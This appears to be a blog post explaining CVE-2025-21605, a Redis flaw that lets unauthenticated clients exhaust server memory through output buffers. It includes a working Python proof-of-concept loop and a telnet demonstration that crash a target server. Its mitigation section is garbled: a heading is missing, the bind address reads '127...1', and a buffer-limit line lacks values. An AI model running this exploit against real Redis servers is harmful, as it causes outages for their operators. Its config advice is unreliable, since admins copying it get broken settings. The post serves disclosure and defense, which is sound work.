CVE-2025-21605 - Redis Output Buffer DoS - Unlimited Memory Exhaustion Vulnerability Explained

Redis is a super popular, open-source, in-memory database that’s incredibly fast and widely used as a caching layer and message broker. But speed sometimes comes with risks, and in early 2024, security researchers uncovered a critical vulnerability impacting Redis versions from 2.6 up to (but not including) 7.4.3. Tracked as CVE-2025-21605, this vulnerability lets attackers—without any authentication—crash Redis servers simply by filling their output buffers until the machine runs out of memory.

Let’s dive into how this bug works, see code to test it, find out how to fix and protect yourself, and learn why this matters.

The Core Issue

Redis outputs responses to client requests using an output buffer per connection. By default, there is NO hard limit enforced on the output buffer size for normal clients (controlled by the client-output-buffer-limit directive in the Redis config, which is *unlimited* by default for normal clients). This means: if a client triggers the server to generate a lot of output, Redis will keep buffering, gradually consuming all available memory.

Here’s the kicker: even with authentication enabled (i.e., requiring a password), if a connection doesn’t supply the password, Redis returns repeated "NOAUTH" error messages—for every command the unauthorized client sends. If you just keep sending commands, Redis keeps adding error messages to your client’s output buffer—with no way to shrink it until the connection drops.

Impact

- Denial of Service (DoS): Any unauthenticated user who can connect can exhaust all Redis server memory, causing Redis to crash or be killed by system OOM (Out of Memory) protection.

Exploitation Example

Let’s see how an attacker could crash your Redis with just a few lines of code.

Proof of Concept (PoC) Exploit

# PoC for CVE-2025-21605 - Redis Output Buffer DoS
# WARNING: This will crash the target Redis server! Use only on test instances.

import socket

HOST = 'target.redis.server'  # Target Redis server IP or hostname
PORT = 6379                  # Default Redis port

s = socket.create_connection((HOST, PORT))

# Send commands in a loop WITHOUT authentication
while True:
    try:
        s.sendall(b'PING\r\n')
    except Exception as e:
        print(f"Connection broke: {e}")
        break

s.close()

Tip: You can also do this with telnet

$ telnet target.redis.server 6379
Trying target.redis.server...
Connected to target.
Escape character is '^]'.
PING
(error) NOAUTH Authentication required.
PING
(error) NOAUTH Authentication required.
...
# Keep sending PINGs!

References

- Redis Security Advisory: CVE-2025-21605
- Redis Official Release Notes 7.4.3
- Redis Configuration: client-output-buffer-limit
- Red Hat CVE Entry
- NIST NVD CVE-2025-21605

1. Update Redis

The safest and best fix is to upgrade Redis to version 7.4.3 or later. This release caps the output buffer for unauthenticated clients (and improves error handling).

In redis.conf

  bind 127...1
  

- Use Firewalls/Security Groups:

3. Set Buffer Limits (workaround)

You can add output buffer limits for all client types in redis.conf (not a complete fix, but helps):

client-output-buffer-limit normal   
client-output-buffer-limit replica 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60

This restricts how much memory any single client can chew up.

4. Require Auth over TLS + Certs

Consider using TLS with client certificates for mutual authentication. See Redis TLS Docs.

Conclusion

CVE-2025-21605 is a simple but dangerous bug. Attackers can crash your Redis from anywhere on your network without ever logging in. If you run Redis—especially in shared or exposed environments—patch today and review your network security. This is a reminder: never expose Redis to untrusted networks, and always set resilience-focused config values.

Stay safe and up-to-date!

*This post is exclusive and written in plain language for admins, DevOps, and security teams. Please patch and protect your Redis infrastructure as soon as possible.*

Timeline

Published on: 04/23/2025 16:15:34 UTC